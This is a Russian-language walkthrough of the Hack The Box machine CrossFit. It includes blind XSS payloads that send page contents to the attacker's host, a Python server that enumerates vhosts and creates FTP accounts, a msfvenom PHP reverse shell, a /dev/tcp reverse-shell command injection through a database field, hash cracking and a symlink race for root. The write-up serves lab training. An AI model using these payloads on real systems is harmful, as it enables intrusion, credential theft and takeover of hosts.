Хакер - HTB CrossFit. Раскручиваем сложную XSS, чтобы захватить хост
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Перебор каталогов
- Точка входа
- XSS
- Шелл
- Продвижение
- Первый юзер
- Второй юзер
- Рут
В этой статье на примере «безумной» по уровню сложности машины CrossFit с площадки Hack The Box я покажу, как искать XSS на недоступных страницах сайта, сканировать домены через XSS, проводить разведку на машине с Linux, удаленно исполнять код, используя FTP, и эксплуатировать инъекцию команд в пользовательском приложении. А под конец немного пореверсим, чтобы найти финальную уязвимость.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Адрес машины — 10.10.10.208, добавляем его в /etc/hosts для удобства.
10.10.10.208 crossfit.htb
Сканируем порты. Я, как всегда, использую небольшой скрипт, который запускает Nmap в два этапа: быстрое общее сканирование и затем сканирование со скриптами на обнаруженных портах.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1


По результатам сканирования имеем три открытых порта:
- порт 21 — служба FTP (обрати внимание на наличие сертификата);
- порт 22 — служба SSH;
- порт 80 — веб‑сервер Apache.
На SSH нам ловить нечего, так как там можно разве что брутфорсить учетные данные, а это последнее дело. Куда интереснее наличие сертификата у службы FTP. Как учат все курсы разведки, из сертификата можно получить интересную информацию. У любого сертификата есть важное поле Common Name — доменное имя сервера, для которого действителен сертификат. В нашем случае это gym-club.crossfit.htb.

Найденное имя мы сразу добавляем в файл /etc/hosts.
10.10.10.208 gym-club.crossfit.htb
Перебор каталогов
Переходим к веб‑серверу. На 80-м порте по адресу http://crossfit.htb нас встречает стартовая страница Apache. А вот по найденному в сертификате домену http://gym-club.crossfit.htb открывается сайт тренажерного зала.


Одно из первых действий при пентестинге веб‑приложения — это сканирование сайта на наличие интересных каталогов и файлов. Я обычно беру для этого утилиту gobuster. При запуске используем следующие параметры:
dir— сканирование директорий и файлов;-k— не проверять SSL-сертификат;-t []— количество потоков;-u []— URL-адрес для сканирования;-x []— интересующие расширения файлов, перечисленные через запятую;-w []— словарь для перебора;--timeout []— время ожидания ответа.
gobuster dir -t 128 -u http://crossfit.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,php --timeout 30s

gobuster dir -t 128 -u http://gym-club.crossfit.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,php --timeout 30s

По результатам сканирования можно сказать, что http://crossfit.htb интереса больше не представляет. На http://gym-club.crossfit.htb есть интересный каталог с вызывающим названием security_threat. В нем — единственный файл, при обращении к которому получаем сообщение, что доступ к информации ограничен.


Пока ничего существенного мы не нашли, но все же получили дополнительную информацию.
ТОЧКА ВХОДА
При осмотре сайта находим форму отправки комментариев, которые могут быть подвержены XSS. Вот только ответ мы не видим, поэтому нужно выполнить отстук на свой хост. Для этого откроем порт с помощью простого веб‑сервера на Python, чтобы мы могли отлавливать все обращения.
sudo python3 -m http.server 80
И, когда все готово, отправим нагрузку, которая должна загрузить удаленный скрипт на JS.
<script src="http://[локальный IP адрес]/></script>

В качестве ответа на такой комментарий получаем сообщение об обнаруженной и заблокированной атаке XSS!

Здесь сказано, что наш IP-адрес и информация о браузере будут предоставлены администратору ресурса. Прекрасно! Значит, мы можем попробовать выполнить XSS, но уже для администратора.
На источник IP мы повлиять не можем, а вот информацию о браузере сервис узнает из заголовка User-Agent протокола HTTP. Значение этого заголовка мы можем подменить хоть в самом браузере, хоть в специальных приложениях вроде Burp.
Стоит помнить, что сообщение будет доставлено только в случае детекта XSS. То есть нужно отправить нагрузку и в поле комментария, и в заголовке User-Agent. Я открыл порт 8888 и заменил значение заголовка при помощи Burp. После отправки запроса получаем отклик в логах нашего веб‑сервера.


Это значит, что мы можем выполнить загрузку удаленного скрипта на JS и эксплуатировать XSS.
XSS
Теперь нужно определиться с вектором атаки. Помнишь страницу с ограничением доступа? От имени администратора мы наверняка сможем ее посмотреть, а XSS поможет нам в этом. Код страницы мы получим, используя методы open и send объекта XMLHttpRequest.
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://gym-club.crossfit.htb/security_threat/report.php', true);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send();
Код запрошенной страницы здесь сохраняется в переменной xhr.responseText, и его еще нужно передать на наш сервер, чтобы он отобразился в логах. Значение для сохранения целостности сначала закодируем в Base64, чтобы непечатаемые символы нам не помешали. В качестве триггера для отправки будем использовать метод onload объекта XMLHttpRequest. Полный код выглядит следующим образом.
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://gym-club.crossfit.htb/security_threat/report.php', true);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.onload = function () {
var request = new XMLHttpRequest();
request.open('GET', 'http://10.10.14.80:8888/?code=' + btoa(xhr.responseText), true);
request.send();
};
xhr.send();
Сохраняем его в файл (у меня evil.js) в директории запущенного веб‑сервера. После чего повторяем запрос с известной нагрузкой в заголовке User-Agent, но уже указываем для загрузки скрипта свой файл.
<script src="http://10.10.14.80:8888/evil.js"></script>
В логах веб‑сервера получаем информацию: сначала о загрузке скрипта, а потом обращение к вымышленной странице. В качестве аргумента приходят данные в кодировке Base64, декодируем их.


К сожалению, ничего интересного мы не получаем, так что в этом месте мне пришлось крепко задуматься о том, как развивать атаку дальше. В голову пришла идея проверить доступные с localhost виртуальные хосты. Сканер для этого придется реализовать самостоятельно.
Идея состоит в том, что мы будем провоцировать удаленный хост снова и снова загружать скрипт на JS с нашего локального сервера, но только каждый раз мы будем возвращать такой скрипт, который вместо страницы http://gym-club.crossfit.htb/security_threat/report.php будет запрашивать корневую страницу на разных поддоменах http://[random].crossfit.htb.
Программировать будем на питоне. Нам нужно проверять код ответа — если он равен 200, значит, виртуальный хост существует.
Сначала пишем стандартную «базу» для сервера.
#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
import requests
def run(server_class=HTTPServer, handler_class=EvilServer, port=8888):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
request()
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
if __name__ == '__main__':
run()
Чтобы избежать кеширования файла при многократном запросе, будем вести счетчик vhost_number и каждый раз менять имя файла со скриптом на JS. В качестве словаря используем namelist.txt из набора SecLists.
global vhost_number
vhost_number = 0;
with open("/usr/share/seclists/Discovery/DNS/namelist.txt", "r") as f:
global vhosts
vhosts = f.read().split('\n')[:-1]
Теперь реализуем функцию первоначальной отправки комментария, которая будет отсылать нагрузку.
def request():
headers = {'User-Agent':'<script src="http://10.10.14.80:8888/evil'+str(vhost_number)+'.js"></script>', 'Referer':'http://gym-club.crossfit.htb/blog-single.php'}
data = {'name':'ralf','email':'ralf%40ralf.com','phone':'8888','message':'%3Cscript+src%3D%22http%3A%2F%2F10.10.14.80%3A8888%2Fevil.js%22%3E%3C%2Fscript%3E','submit':'submit'}
requests.post("http://gym-club.crossfit.htb/blog-single.php",data=data,headers=headers)
В классе сервера обработаем GET-запрос. Если обращение происходит к evil.js, то вернем скрипт, который будет выполнять обращение к тестируемому поддомену. Если такой поддомен существует, то он будет передан в качестве параметра в повторном запросе на наш сервер.
class EvilServer(BaseHTTPRequestHandler):
def _set_response(self):
self.send_response_only(200)
self.end_headers()
def do_GET(self):
global vhost_number
self._set_response()
if vhost_number < len(vhosts):
if self.path == '/evil'+str(vhost_number)+'.js':
self.wfile.write(eviljs().encode('utf-8'))
if 'vhost=' in self.path[:7]:
print("vhost found: " + self.path[7:])
request()
Осталось реализовать функцию, которая будет возвращать JS.
def eviljs():
global vhost_number
jscode = """var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://XXX.crossfit.htb/', true);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.onload = function(){
var request = new XMLHttpRequest();
request.open('GET', 'http://10.10.14.80:8888/vhost=XXX', true);
request.send();
};
xhr.send();""".replace('XXX', vhosts[vhost_number])
print(str(vhost_number+1)+ "/" + str(len(vhosts)) + " " + vhosts[vhost_number] + " "*10, end="\r")
vhost_number += 1
return jscode
Важные функции я описал, остальной код приводить не стану — если будешь повторять прохождение, ты без труда воссоздашь его.
Скрипт работает медленно, но дает результат!


Убедившись, что скрипт работает, я остановил его и внес изменения, которые обеспечат нам удобство при работе. Первым делом добавляем функцию requestPage с измененной нагрузкой evil.js.
def requestPage():
headers = {'User-Agent':'<script src="http://10.10.14.80:8888/getpage.js"></script>', 'Referer':'http://gym-club.crossfit.htb/blog-single.php'}
data = {'name':'ralf','email':'ralf%40ralf.com','phone':'8888','message':'%3Cscript+src%3D%22http%3A%2F%2F10.10.14.80%3A8888%2Fevil.js%22%3E%3C%2Fscript%3E','submit':'submit'}
requests.post("http://gym-club.crossfit.htb/blog-single.php",data=data,headers=headers)
Нагрузка будет запрашивать уже известный нам файл JS для просмотра страниц.
def getpagejs(page="http://ftp.crossfit.htb/"):
return """var xhr = new XMLHttpRequest();
xhr.open('GET', '""" + page + """', true);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.onload = function(){
var request = new XMLHttpRequest();
request.open('GET', 'http://10.10.14.80:8888/page=' + btoa(xhr.responseText), true);
request.send();
};
xhr.send();"""
И будем вызывать ее в функции run() вместо request().
def run(server_class=HTTPServer, handler_class=EvilServer, port=8888):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
requestPage()
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
if __name__ == '__main__':
run()
Далее я добавил в метод do_GET() обработку запросов getpage.js и page. Таким образом Base64 будет декодироваться, чтобы мы могли видеть HTML прямо в браузере (так гораздо удобнее).
class EvilServer(BaseHTTPRequestHandler):
def _set_response(self):
self.send_response_only(200)
self.end_headers()
def do_GET(self):
global vhost_number
self._set_response()
if vhost_number < len(vhosts):
if self.path == '/evil'+str(vhost_number)+'.js':
self.wfile.write(eviljs().encode('utf-8'))
if 'vhost=' in self.path[:7]:
print("vhost found: " + self.path[7:])
if self.path == '/getpage.js':
self.wfile.write(getpagejs().encode('utf-8'))
if 'page=' in self.path[:6]:
print(base64.b64decode(self.path[6:]).decode())
with open("page.html", "w") as f:
f.write(base64.b64decode(self.path[6:]).decode())
os.system("firefox page.html")
Все готово, запускаем. После выполнения этого «эксплоита» получим окно с кодом страницы и ее представление в браузере.


Кажется, эта страница позволяет нам создать пользователя для службы FTP. Давай перейдем на вкладку Create New Account, для чего в коде изменим один адрес.


Из исходного кода мы получаем необходимые параметры, такие как username и password. Также узнаем о том, что нужно получать токен, а это придется делать тоже с помощью JS. Для выполнения этих операций добавим новую функцию createuser().
def createuser():
return """
var username='ralf'; var password='ralf';
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open('GET', 'http://ftp.crossfit.htb/accounts/create', false);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.onreadystatechange = function(){
if(xhr.readyState){
var request = new XMLHttpRequest();
request.open('GET', 'http://10.10.14.80:8888/page=' + btoa(xhr.responseText), false);
request.send();
}
};
xhr.send();
var r = /token" value="(.*)"/g
var token =r.exec(xhr.responseText)[1];
var params = '_token=' + token + '&username=' + username + '&pass=' + password + '&submit=submit';
xhr.open('POST', "http://ftp.crossfit.htb/accounts", false);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send(params);"""
Эта функция возвращает модифицированный код на JS, который первый раз запрашивает страницу, чтобы получить токен, а второй раз отправляет заполненную форму, тем самым создавая нового пользователя ralf с паролем ralf (в моем случае). В методе to_GET изменим вызов getpagejs() на вызов новой функции createuser(). После выполнения скрипта в окне браузера наблюдаем свежесозданного пользователя.

ШЕЛЛ
После создания пользователя для службы FTP попробуем авторизоваться на сервере. Поскольку там используется SSL, будем использовать клиент lftp. При подключении необходимо отключить проверку сертификата.
set ssl:verify-certificate no
connect crossfit.htb
login ralf

По именам каталогов легко определить, что это директории веб‑сервера и соответствующих виртуальных хостов. Как поступать в таких ситуациях, всем давно известно — разместить свой шелл. В случае с PHP можно легко сгенерировать его с помощью MSFvenom со следующими параметрами:
-p []— используемая нагрузка (конечно, берем Meterpreter);LHOST=[]— IP-адрес локального хоста;LPORT=[]— локальный порт;-f []— формат, в котором будет представлена нагрузка.
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.80 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php

И запустим листенер, который будет ждать обратного подключения от нагрузки. Для быстрого запуска из metasploit используем команду handler с параметрами, указанными при создании нагрузки.
handler -p php/meterpreter_reverse_tcp -H 10.10.14.129 -P 4321
Осталось загрузить на FTP скрипт и обратиться к нему. Но во время реализации обнаруживается нюанс: единственная доступная для записи директория — development-test. Загружаем скрипт в эту директорию командой put.

Обращаться придется к вновь найденной директории, поэтому добавим в нашу программу еще одну функцию. При этом в методе to_GET изменим createuser() на getshell(), где выполняется запрос по новому доменному имени.
def getshell():
return """
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://development-test.crossfit.htb/r.php', false);
xhr.send()"""
После запуска скрипта получаем шелл, о чем свидетельствует терминал Metasploit. Сразу же нужно проверить, в контексте какого пользователя мы работаем. Для Meterpreter это команда getuid.

ПРОДВИЖЕНИЕ
Первый юзер
Возникает вопрос — что же делать после того, как получил шелл в системе? Как найти путь, который приведет к повышению привилегий? На этот случай существуют скрипты PEASS — они есть и для Windows, и для Linux. Скачиваем скрипт для Linux, переходим в Meterpreter и командой upload загружаем его на удаленный хост. Получив командную оболочку (команда shell), назначаем права на исполнение и выполняем.

После того как скрипт отработает, у нас появляется новая трудная задача — выбрать информацию, которая приведет к успешному продвижению. В данном случае отметим для себя пользователей, имеющих интерактивную оболочку и два найденных хеша (скрипт просто определяет специфическую структуру строки).


Найден файл adduser_hank.yml — из названия можно сделать вывод, что представленный хеш — это результат хеширования пароля пользователя hank. С помощью знаменитого hashcat можно не только быстро ломать хеши и создавать правила или списки паролей, но и определять тип хеша. В структуре хеша есть редкая последовательность $6$, которая и определяет тип хеша, поэтому узнать алгоритм труда не составит.
hashcat --example | grep -A1 -B1 '\$6\$'

Нам сообщают, что это SHA-512 и что, если мы хотим перебирать его, нужно использовать код режима 1800. Так мы и поступим, а в качестве словаря с паролями используем знаменитый rockyou.
hashcat -a 0 -m 1800 hash.txt ./tools/rockyou.txt

Так как служба SSH активна (не забываем о результатах сканирования портов), мы подключаемся с найденным паролем и получаем первый флаг.

Второй юзер
Так как мы получили креды нового пользователя, всю разведку на хосте нужно проводить заново! У нас ведь теперь совершенно другие привилегии, и этот момент многие упускают.
Снова выполним LinPEAS и отберем наиболее важную информацию. Что очень важно, мы получаем записи cron. К тому же пользователь присутствует в группе admin, что дает нам право читать файлы из директории /etc/pam.d/.


Служба cron позволяет запускать программы на сервере в определенное время. В данном случае — от имени пользователя isaac выполняется скрипт на PHP. Конечно же, сразу смотрим код внутри файла.

В этом скрипте происходит перечисление файлов и директории сообщений ($msg_dir). Если файл обнаружен (isFile()), то делается запрос к базе данных ($conn->query) для получения значений столбца email из таблицы users. Каждая возвращенная строка (адрес электронной почты) будет передана в качестве аргумента утилите mail. В самом конце от имени пользователя isaac выполняется вот такая команда:
/usr/bin/mail -s 'Crossfit Club Newsletter' [адрес электронной почты]
Так как команда выполняется в системе, а входными данными можно манипулировать, то на ум приходит инъекция команд (command injection). Если мы сможем разместить любой файл в директории с сообщениями, то произойдет запрос к БД. Также нужно будет подключиться к базе данных и создать запись, что позволит манипулировать параметром команды mail.
Подставим в команду выше вот такую нагрузку:
-E $(bash -c 'bash -i >& /dev/tcp/10.10.14.17/4321 0>&1')
Полная команда станет такой:
/usr/bin/mail -s 'Crossfit Club Newsletter' -E $(bash -c 'bash -i >& /dev/tcp/10.10.14.17/4321 0>&1')
Сначала будет выполнен код внутри конструкции $(...), что приведет к выполнению реверс‑шелла. Но мы сталкиваемся с рядом проблем: как подключаться к базе данных и что за директория с сообщениями.
Для подключения к базе данных нужны учетные данные. Но к подключаемому файлу db.php доступа у нас нет. Найдем в директории веб‑сервера на FTP подобный файл и попробуем получить учетные данные из него.

Одна проблема решена. Дальше нужно вспомнить о праве на чтение файлов, расположенных в каталоге /etc/pam.d. PAM — это набор подключаемых модулей, которые отвечают за аутентификацию в системе. По сути, это API, который операционная система или приложения могут использовать, чтобы отправить запросы на проверку подлинности пользователя. А файлы настроек содержатся именно в этой директории.
Быстренько ищем по ключевым словам и находим учетные данные администратора FTP. Следующей командой мы из всех файлов в директории выбираем строки, в которых содержится хоть одна из подстрок: pas, pwd, secr или key, а также исключаем все закомментированные строки (-v '#').
cat * | grep "pas\|pwd\|secr\|key" | grep -v '#'

Подключимся к FTP от имени админа и найдем директорию messages.
lftp
set ssl:verify-certificate no
lftp :~> connect crossfit.htb
lftp crossfit.htb:~> login ftpadm

Выходит, у нас есть и возможность манипулировать данными и в базе, и в директории сообщений. Запустим MySQL и посмотрим, какие есть базы данных.
mysql -u crossfit -poeLoo~y2baeni

Будем использовать пользовательскую базу crossfit, так как information_schema — служебная. В crossfit и найдем таблицу users.

Все сходится, поэтому, как и планировали:
- Откроем листенер.
rlwrap nc -lvp 4321- Загрузим в директорию сообщений любой файл.

- Пишем в таблицу:
insert into users (id, email) values (9001, "- E $(bash -c 'bash -i >& /dev/tcp/10.10.14.17/4321 0>&1')");

Спустя несколько секунд команда выполнится и мы получим бэкконнект.

Для удобства работы сгенерируем ключ SSH командой ssh-keygen и запишем сгенерированный публичный ключ пользователю в файл ~/.shh/authorized_keys.

Теперь можем заходить по SSH с использованием закрытого ключа.

РУТ
В этот раз использование LinPEAS ничего интересного не показывает, поэтому посмотрим, есть ли периодически запускаемые в системе процессы, с помощью pspy64. Простой запуск pspy ничего не дал, поэтому я запустил его с параметром -f, чтобы отлавливать события файловой системы.
pspy64 -f
Вывод получился очень объемный, поэтому я сохранил его в файл и решил немного отфильтровать. Убираем из лога все упоминания /etc/, поскольку нас не интересуют сообщения об обращении к файлам passwd, shadow и тому подобным. Также нас не интересуют файлы PHP, так как с этим уже работали и тут ничего нового нет. Можно посмотреть только события, связанные с директорией var, но там нет ничего интересного, поэтому ее тоже исключаем из вывода. Команда wc -l покажет количество переданных строк.

Теперь события будет просмотреть удобней. Из общего фона использования библиотек замечаем утилиту dbmsg, которая запускается раз в минуту.


Загружаем бинарник на локальную машину с помощью команды scp и открываем в любом декомпиляторе. Я использовал Hex-rays IDA Pro.
scp -i id_rsa isaac@crossfit.htb:/usr/bin/dbmsg ./
В декомпиляторе переходим к функции main(). После старта программы сразу проверяются привилегии пользователя (должен быть root) и генератор псевдослучайных чисел инициализируется текущим временем.

В функции process_data() происходит подключение к базе данных и считывание данных из таблицы messages.

Далее программа читает строки таблицы и проверяет столбцы (id, name, email, messages). После чего в директории /var/local/ создает файл с именем md5(rand() + id), куда записывает значения name, messages и email (именно в этом порядке). Затем выполняется zip, после чего файл удаляется.

Тут‑то и наметился следующий вектор атаки: мы можем рассчитывать используемые псевдослучайные числа, а значит, и узнать имя файла; к тому же мы можем контролировать его содержимое, создавая записи в базе данных. Учитывая, что операции выполняются от имени root, мы можем создать ссылку с таким именем, и она будет указывать на файл authorized_keys. Останется лишь записать в него SSH-ключ! Что ж, за дело!
Сначала сгенерируем ключи. Чтобы сэкономить место, используем ed25519.

Теперь напишем программу, которая будет генерировать и выводить псевдослучайное число в зависимости от текущего времени.
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main(){
srand(time(0));
printf("%d", rand());
return 0;
}
А затем компилируем этот код с помощью gcc.
gcc rand_int.c -o rand_int.bin
Теперь нужно загрузить бинарь на хост, после чего написать конвейер для получения имени файла. Так как мы будем создавать сообщение заново, то id всегда равен единице.

Так как запись не просуществует в базе долго, будем производить запись сообщения с ключом и линковку файла одним скриптом:
#/bin/bash
mysql -h localhost -u crossfit -poeLoo~y2baeni -Dcrossfit -e'insert into messages (id, name, email,message) values (1, "ssh-ed25519","ralf@ralf-PC","AAAAC3N.....Pt0xQdJ");'
while true; do ln -s /root/.ssh/authorized_keys /var/local/$(echo -n $(./rand_int.bin)1 | md5sum | cut -d " " -f 1) 2>/dev/null; done
Выполняем скрипт и подключаем по SSH c приватным ключом.


Вот мы и захватили машину CrossFit! Теперь мы имеем над ней полный контроль.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei